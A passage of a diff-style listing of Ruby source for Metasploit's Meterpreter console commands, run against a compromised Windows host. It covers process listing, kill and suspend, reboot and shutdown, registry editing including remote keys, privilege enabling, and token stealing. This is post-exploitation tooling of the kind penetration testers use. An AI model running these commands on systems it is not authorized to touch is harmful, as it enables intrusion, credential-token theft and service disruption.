# validate all the proposed pids first so we can bail if one is bogus
|
343
|
+
args.uniq!
|
344
|
+
diff = args - valid_pids.map {|e| e.to_s}
|
345
|
+
if not diff.empty? # then we had an invalid pid
|
346
|
+
print_error("The following pids are not valid: #{diff.join(", ").to_s}. Quitting")
|
347
|
+
return false
|
348
|
+
end
|
349
|
+
end
|
350
|
+
|
351
|
+
# kill kill kill
|
352
|
+
print_line("Killing: #{valid_pids.join(", ").to_s}")
|
353
|
+
client.sys.process.kill(*(valid_pids.map { |x| x }))
|
354
|
+
return true
|
355
|
+
end
|
356
|
+
|
357
|
+
#
|
358
|
+
# help for the kill command
|
359
|
+
#
|
360
|
+
def cmd_kill_help
|
361
|
+
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
|
362
|
+
print_line("Terminate one or more processes.")
|
363
|
+
print_line(" -s : Kills the pid associated with the current session.")
|
364
|
+
end
|
365
|
+
|
366
|
+
#
|
367
|
+
# validates an array of pids against the running processes on target host
|
368
|
+
# behavior can be controlled to allow/deny proces 0 and the session's process
|
369
|
+
# the pids:
|
370
|
+
# - are converted to integers
|
371
|
+
# - have had pid 0 removed unless allow_pid_0
|
372
|
+
# - have had current session pid removed unless allow_session_pid (to protect the session)
|
373
|
+
# - have redundant entries removed
|
374
|
+
#
|
375
|
+
# @param pids [Array<String>] The pids to validate
|
376
|
+
# @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid
|
377
|
+
# @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid
|
378
|
+
# @return [Array] Returns an array of valid pids
|
379
|
+
|
380
|
+
def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)
|
381
|
+
|
382
|
+
return [] if (pids.class != Array or pids.empty?)
|
383
|
+
valid_pids = []
|
384
|
+
# to minimize network traffic, we only get host processes once
|
385
|
+
host_processes = client.sys.process.get_processes
|
386
|
+
if host_processes.length < 1
|
387
|
+
print_error "No running processes found on the target host."
|
388
|
+
return []
|
389
|
+
end
|
390
|
+
|
391
|
+
# get the current session pid so we don't suspend it later
|
392
|
+
mypid = client.sys.process.getpid.to_i
|
393
|
+
|
394
|
+
# remove nils & redundant pids, conver to int
|
395
|
+
clean_pids = pids.compact.uniq.map{|x| x.to_i}
|
396
|
+
# now we look up the pids & remove bad stuff if nec
|
397
|
+
clean_pids.delete_if do |p|
|
398
|
+
( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
|
399
|
+
end
|
400
|
+
clean_pids.each do |pid|
|
401
|
+
# find the process with this pid
|
402
|
+
theprocess = host_processes.find {|x| x["pid"] == pid}
|
403
|
+
if ( theprocess.nil? )
|
404
|
+
next
|
405
|
+
else
|
406
|
+
valid_pids << pid
|
407
|
+
end
|
408
|
+
end
|
409
|
+
return valid_pids
|
410
|
+
end
|
411
|
+
|
412
|
+
#
|
413
|
+
# Lists running processes.
|
414
|
+
#
|
415
|
+
def cmd_ps(*args)
|
416
|
+
processes = client.sys.process.get_processes
|
417
|
+
@@ps_opts.parse(args) do |opt, idx, val|
|
418
|
+
case opt
|
419
|
+
when "-h"
|
420
|
+
cmd_ps_help
|
421
|
+
return true
|
422
|
+
when "-S"
|
423
|
+
print_line "Filtering on process name..."
|
424
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
425
|
+
processes.each do |proc|
|
426
|
+
if val.nil? or val.empty?
|
427
|
+
print_line "You must supply a search term!"
|
428
|
+
return false
|
429
|
+
end
|
430
|
+
searched_procs << proc if proc["name"].match(/#{val}/)
|
431
|
+
end
|
432
|
+
processes = searched_procs
|
433
|
+
when "-A"
|
434
|
+
print_line "Filtering on arch..."
|
435
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
436
|
+
processes.each do |proc|
|
437
|
+
next if proc['arch'].nil? or proc['arch'].empty?
|
438
|
+
if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
|
439
|
+
print_line "You must select either x86 or x86_64"
|
440
|
+
return false
|
441
|
+
end
|
442
|
+
searched_procs << proc if proc["arch"] == val
|
443
|
+
end
|
444
|
+
processes = searched_procs
|
445
|
+
when "-s"
|
446
|
+
print_line "Filtering on SYSTEM processes..."
|
447
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
448
|
+
processes.each do |proc|
|
449
|
+
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
|
450
|
+
end
|
451
|
+
processes = searched_procs
|
452
|
+
when "-U"
|
453
|
+
print_line "Filtering on user name..."
|
454
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
455
|
+
processes.each do |proc|
|
456
|
+
if val.nil? or val.empty?
|
457
|
+
print_line "You must supply a search term!"
|
458
|
+
return false
|
459
|
+
end
|
460
|
+
searched_procs << proc if proc["user"].match(/#{val}/)
|
461
|
+
end
|
462
|
+
processes = searched_procs
|
463
|
+
end
|
464
|
+
end
|
465
|
+
if (processes.length == 0)
|
466
|
+
print_line("No running processes were found.")
|
467
|
+
else
|
468
|
+
print_line
|
469
|
+
print_line(processes.to_table("Indent" => 1).to_s)
|
470
|
+
print_line
|
471
|
+
end
|
472
|
+
return true
|
473
|
+
end
|
474
|
+
|
475
|
+
def cmd_ps_help
|
476
|
+
print_line "Use the command with no arguments to see all running processes."
|
477
|
+
print_line "The following options can be used to filter those results:"
|
478
|
+
|
479
|
+
print_line @@ps_opts.usage
|
480
|
+
end
|
481
|
+
|
482
|
+
|
483
|
+
|
484
|
+
#
|
485
|
+
# Reboots the remote computer.
|
486
|
+
#
|
487
|
+
def cmd_reboot(*args)
|
488
|
+
force = 0
|
489
|
+
|
490
|
+
if args.length == 1 and args[0].strip == "-h"
|
491
|
+
print(
|
492
|
+
"Usage: reboot [options]\n\n" +
|
493
|
+
"Reboot the remote machine.\n" +
|
494
|
+
@@reboot_opts.usage)
|
495
|
+
return true
|
496
|
+
end
|
497
|
+
|
498
|
+
@@reboot_opts.parse(args) { |opt, idx, val|
|
499
|
+
case opt
|
500
|
+
when "-f"
|
501
|
+
force = val.to_i
|
502
|
+
end
|
503
|
+
}
|
504
|
+
print_line("Rebooting...")
|
505
|
+
|
506
|
+
client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
|
507
|
+
end
|
508
|
+
|
509
|
+
#
|
510
|
+
# Modifies and otherwise interacts with the registry on the remote computer
|
511
|
+
# by allowing the client to enumerate, open, modify, and delete registry
|
512
|
+
# keys and values.
|
513
|
+
#
|
514
|
+
def cmd_reg(*args)
|
515
|
+
# Extract the command, if any
|
516
|
+
cmd = args.shift
|
517
|
+
|
518
|
+
if (args.length == 0)
|
519
|
+
args.unshift("-h")
|
520
|
+
end
|
521
|
+
|
522
|
+
# Initiailze vars
|
523
|
+
key = nil
|
524
|
+
value = nil
|
525
|
+
data = nil
|
526
|
+
type = nil
|
527
|
+
wowflag = 0x0000
|
528
|
+
rem = nil
|
529
|
+
|
530
|
+
@@reg_opts.parse(args) { |opt, idx, val|
|
531
|
+
case opt
|
532
|
+
when "-h"
|
533
|
+
print_line(
|
534
|
+
"Usage: reg [command] [options]\n\n" +
|
535
|
+
"Interact with the target machine's registry.\n" +
|
536
|
+
@@reg_opts.usage +
|
537
|
+
"COMMANDS:\n\n" +
|
538
|
+
" enumkey Enumerate the supplied registry key [-k <key>]\n" +
|
539
|
+
" createkey Create the supplied registry key [-k <key>]\n" +
|
540
|
+
" deletekey Delete the supplied registry key [-k <key>]\n" +
|
541
|
+
" queryclass Queries the class of the supplied key [-k <key>]\n" +
|
542
|
+
" setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
|
543
|
+
" deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
|
544
|
+
" queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
|
545
|
+
return false
|
546
|
+
when "-k"
|
547
|
+
key = val
|
548
|
+
when "-v"
|
549
|
+
value = val
|
550
|
+
when "-t"
|
551
|
+
type = val
|
552
|
+
when "-d"
|
553
|
+
data = val
|
554
|
+
when "-r"
|
555
|
+
rem = val
|
556
|
+
when "-w"
|
557
|
+
if val == '64'
|
558
|
+
wowflag = KEY_WOW64_64KEY
|
559
|
+
elsif val == '32'
|
560
|
+
wowflag = KEY_WOW64_32KEY
|
561
|
+
end
|
562
|
+
end
|
563
|
+
}
|
564
|
+
|
565
|
+
# All commands require a key.
|
566
|
+
if (key == nil)
|
567
|
+
print_error("You must specify a key path (-k)")
|
568
|
+
return false
|
569
|
+
end
|
570
|
+
|
571
|
+
# Split the key into its parts
|
572
|
+
root_key, base_key = client.sys.registry.splitkey(key)
|
573
|
+
|
574
|
+
begin
|
575
|
+
# Rock it
|
576
|
+
case cmd
|
577
|
+
when "enumkey"
|
578
|
+
|
579
|
+
open_key = nil
|
580
|
+
if not rem
|
581
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
582
|
+
else
|
583
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
584
|
+
if remote_key
|
585
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
586
|
+
end
|
587
|
+
end
|
588
|
+
|
589
|
+
print_line(
|
590
|
+
"Enumerating: #{key}\n")
|
591
|
+
|
592
|
+
keys = open_key.enum_key
|
593
|
+
vals = open_key.enum_value
|
594
|
+
|
595
|
+
if (keys.length > 0)
|
596
|
+
print_line(" Keys (#{keys.length}):\n")
|
597
|
+
|
598
|
+
keys.each { |subkey|
|
599
|
+
print_line("\t#{subkey}")
|
600
|
+
}
|
601
|
+
|
602
|
+
print_line
|
603
|
+
end
|
604
|
+
|
605
|
+
if (vals.length > 0)
|
606
|
+
print_line(" Values (#{vals.length}):\n")
|
607
|
+
|
608
|
+
vals.each { |val|
|
609
|
+
print_line("\t#{val.name}")
|
610
|
+
}
|
611
|
+
|
612
|
+
print_line
|
613
|
+
end
|
614
|
+
|
615
|
+
if (vals.length == 0 and keys.length == 0)
|
616
|
+
print_line("No children.")
|
617
|
+
end
|
618
|
+
|
619
|
+
when "createkey"
|
620
|
+
open_key = nil
|
621
|
+
if not rem
|
622
|
+
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
|
623
|
+
else
|
624
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
625
|
+
if remote_key
|
626
|
+
open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
|
627
|
+
end
|
628
|
+
end
|
629
|
+
|
630
|
+
print_line("Successfully created key: #{key}")
|
631
|
+
|
632
|
+
when "deletekey"
|
633
|
+
open_key = nil
|
634
|
+
if not rem
|
635
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
636
|
+
else
|
637
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
638
|
+
if remote_key
|
639
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
640
|
+
end
|
641
|
+
end
|
642
|
+
open_key.delete_key(base_key)
|
643
|
+
|
644
|
+
print_line("Successfully deleted key: #{key}")
|
645
|
+
|
646
|
+
when "setval"
|
647
|
+
if (value == nil or data == nil)
|
648
|
+
print_error("You must specify both a value name and data (-v, -d).")
|
649
|
+
return false
|
650
|
+
end
|
651
|
+
|
652
|
+
type = "REG_SZ" if (type == nil)
|
653
|
+
|
654
|
+
open_key = nil
|
655
|
+
if not rem
|
656
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
657
|
+
else
|
658
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
659
|
+
if remote_key
|
660
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
661
|
+
end
|
662
|
+
end
|
663
|
+
|
664
|
+
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
665
|
+
|
666
|
+
print_line("Successful set #{value}.")
|
667
|
+
|
668
|
+
when "deleteval"
|
669
|
+
if (value == nil)
|
670
|
+
print_error("You must specify a value name (-v).")
|
671
|
+
return false
|
672
|
+
end
|
673
|
+
|
674
|
+
open_key = nil
|
675
|
+
if not rem
|
676
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
677
|
+
else
|
678
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
679
|
+
if remote_key
|
680
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
681
|
+
end
|
682
|
+
end
|
683
|
+
|
684
|
+
open_key.delete_value(value)
|
685
|
+
|
686
|
+
print_line("Successfully deleted #{value}.")
|
687
|
+
|
688
|
+
when "queryval"
|
689
|
+
if (value == nil)
|
690
|
+
print_error("You must specify a value name (-v).")
|
691
|
+
return false
|
692
|
+
end
|
693
|
+
|
694
|
+
open_key = nil
|
695
|
+
if not rem
|
696
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
697
|
+
else
|
698
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
699
|
+
if remote_key
|
700
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
701
|
+
end
|
702
|
+
end
|
703
|
+
|
704
|
+
v = open_key.query_value(value)
|
705
|
+
|
706
|
+
print(
|
707
|
+
"Key: #{key}\n" +
|
708
|
+
"Name: #{v.name}\n" +
|
709
|
+
"Type: #{v.type_to_s}\n" +
|
710
|
+
"Data: #{v.data}\n")
|
711
|
+
|
712
|
+
when "queryclass"
|
713
|
+
open_key = nil
|
714
|
+
if not rem
|
715
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
716
|
+
else
|
717
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
718
|
+
if remote_key
|
719
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
720
|
+
end
|
721
|
+
end
|
722
|
+
|
723
|
+
data = open_key.query_class
|
724
|
+
|
725
|
+
print("Data: #{data}\n")
|
726
|
+
else
|
727
|
+
print_error("Invalid command supplied: #{cmd}")
|
728
|
+
end
|
729
|
+
ensure
|
730
|
+
open_key.close if (open_key)
|
731
|
+
end
|
732
|
+
end
|
733
|
+
|
734
|
+
#
|
735
|
+
# Calls RevertToSelf() on the remote machine.
|
736
|
+
#
|
737
|
+
def cmd_rev2self(*args)
|
738
|
+
client.sys.config.revert_to_self
|
739
|
+
end
|
740
|
+
|
741
|
+
def cmd_getprivs_help
|
742
|
+
print_line "Usage: getprivs"
|
743
|
+
print_line
|
744
|
+
print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
|
745
|
+
print_line "current process. Note that this only enables existing privs and does not change"
|
746
|
+
print_line "users or tokens."
|
747
|
+
print_line
|
748
|
+
print_line "See also: steal_token, getsystem"
|
749
|
+
print_line
|
750
|
+
end
|
751
|
+
|
752
|
+
#
|
753
|
+
# Obtains as many privileges as possible on the target machine.
|
754
|
+
#
|
755
|
+
def cmd_getprivs(*args)
|
756
|
+
if args.include? "-h"
|
757
|
+
cmd_getprivs_help
|
758
|
+
end
|
759
|
+
print_line("=" * 60)
|
760
|
+
print_line("Enabled Process Privileges")
|
761
|
+
print_line("=" * 60)
|
762
|
+
client.sys.config.getprivs.each do |priv|
|
763
|
+
print_line(" #{priv}")
|
764
|
+
end
|
765
|
+
print_line("")
|
766
|
+
end
|
767
|
+
|
768
|
+
#
|
769
|
+
# Tries to steal the primary token from the target process.
|
770
|
+
#
|
771
|
+
def cmd_steal_token(*args)
|
772
|
+
if(args.length != 1 or args[0] == "-h")
|
773
|
+
print_error("Usage: steal_token [pid]")
|
774
|
+
return
|
775
|
+
end
|
776
|
+
print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
|
777
|
+
end
|
778
|
+
|
779
|
+
#
|
780
|
+
# Drops any assumed token.
|
781
|
+
#
|
782
|
+
def cmd_drop_token(*args)
|
783
|
+
print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
|
784
|
+
end
|
785
|
+
|
786
|
+
#
|
787
|
+
# Displays information about the remote system.
|
788
|
+
#
|
789
|
+
def cmd_sysinfo(*args)
|
790
|
+
info = client.sys.config.sysinfo
|
791
|
+
width = "Meterpreter".length
|
792
|
+
info.keys.each { |k| width = k.length if k.length > width and info[k] }
|
793
|
+
|
794
|
+
info.each_pair do |key, value|
|
795
|
+
print_line("#{key.ljust(width+1)}: #{value}") if value
|
796
|
+
end
|
797
|
+
print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
|
798
|
+
|
799
|
+
return true
|
800
|
+
end
|
801
|
+
|
802
|
+
#
|
803
|
+
# Shuts down the remote computer.
|
804
|
+
#
|
805
|
+
def cmd_shutdown(*args)
|
806
|
+
force = 0
|
807
|
+
|
808
|
+
if args.length == 1 and args[0].strip == "-h"
|
809
|
+
print(
|
810
|
+
"Usage: shutdown [options]\n\n" +
|
811
|
+
"Shutdown the remote machine.\n" +
|
812
|
+
@@shutdown_opts.usage)
|
813
|
+
return true
|
814
|
+
end
|
815
|
+
|
816
|
+
@@shutdown_opts.parse(args) { |opt, idx, val|
|
817
|
+
case opt
|
818
|
+
when "-f"
|
819
|
+
force = val.to_i
|
820
|
+
end
|
821
|
+
}
|
822
|
+
|
823
|
+
print_line("Shutting down...")
|
824
|
+
|
825
|
+
client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
|
826
|
+
end
|
827
|
+
|
828
|
+
#
|
829
|
+
# Suspends or resumes a list of one or more pids
|
830
|
+
#
|
831
|
+
# +args+ can optionally be -c to continue on error or -r to resume
|
832
|
+
# instead of suspend, followed by a list of one or more valid pids
|
833
|
+
#
|
834
|
+
# @todo Accept process names, much of that code is done (kernelsmith)
|
835
|
+
#
|
836
|
+
# @param args [Array<String>] List of one of more pids
|
837
|
+
# @return [Boolean] Returns true if command was successful, else false
|
838
|
+
def cmd_suspend(*args)
|
839
|
+
# give'em help if they want it, or seem confused
|
840
|
+
if args.length == 0 or (args.include? "-h")
|
841
|
+
cmd_suspend_help
|
842
|
+
return true
|
843
|
+
end
|
844
|
+
|
845
|
+
continue = args.delete("-c") || false
|
846
|
+
resume = args.delete("-r") || false
|
847
|
+
|
848
|
+
# validate all the proposed pids first so we can bail if one is bogus
|
849
|
+
valid_pids = validate_pids(args)
|
850
|
+
args.uniq!
|
851
|
+
diff = args - valid_pids.map {|e| e.to_s}
|
852
|
+
if not diff.empty? # then we had an invalid pid
|
853
|
+
print_error("The following pids are not valid: #{diff.join(", ").to_s}.")
|
854
|
+
if continue
|
855
|
+
print_status("Continuing. Invalid args have been removed from the list.")
|
856
|
+
else
|
857
|
+
print_error("Quitting. Use -c to continue using only the valid pids.")
|
858
|
+
return false
|
859
|
+
end
|
860
|
+
end
|
861
|
+
|
862
|
+
targetprocess = nil
|
863
|
+
if resume
|
864
|
+
print_status("Resuming: #{valid_pids.join(", ").to_s}")
|
865
|
+
else
|
866
|
+
print_status("Suspending: #{valid_pids.join(", ").to_s}")
|
867
|
+
end
|
868
|
+
begin
|
869
|
+
valid_pids.each do |pid|
|
870
|
+
print_status("Targeting process with PID #{pid}...")
|
871
|
+
targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
872
|
+
targetprocess.thread.each_thread do |x|
|
873
|
+
if resume
|
874
|
+
targetprocess.thread.open(x).resume
|
875
|
+
else
|
876
|
+
targetprocess.thread.open(x).suspend
|
877
|
+
end
|
878
|
+
end
|
879
|
+
end
|
880
|
+
rescue ::Rex::Post::Meterpreter::RequestError => e
|
881
|
+
print_error "Error acting on the process: #{e.to_s}."
|
882
|
+
print_error "Try migrating to a process with the same owner as the target process."
|
883
|
+
print_error "Also consider running the win_privs post module and confirm SeDebug priv."
|
884
|
+
return false unless continue
|
885
|
+
ensure
|
886
|
+
targetprocess.close if targetprocess
|
887
|
+
end
|
888
|
+
return true
|
889
|
+
end
|
890
|
+
|
891
|
+
#
|
892
|
+
# help for the suspend command
|
893
|
+
#
|
894
|
+
def cmd_suspend_help
|
895
|
+
print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
|
896
|
+
print_line("Suspend one or more processes.")
|
897
|
+
print @@suspend_opts.usage
|
898
|
+
end
|
899
|
+
|
900
|
+
end
|
901
|
+
|
902
|
+
end
|
903
|
+
end
|
904
|
+
end
|
905
|
+
end
|
906
|
+
|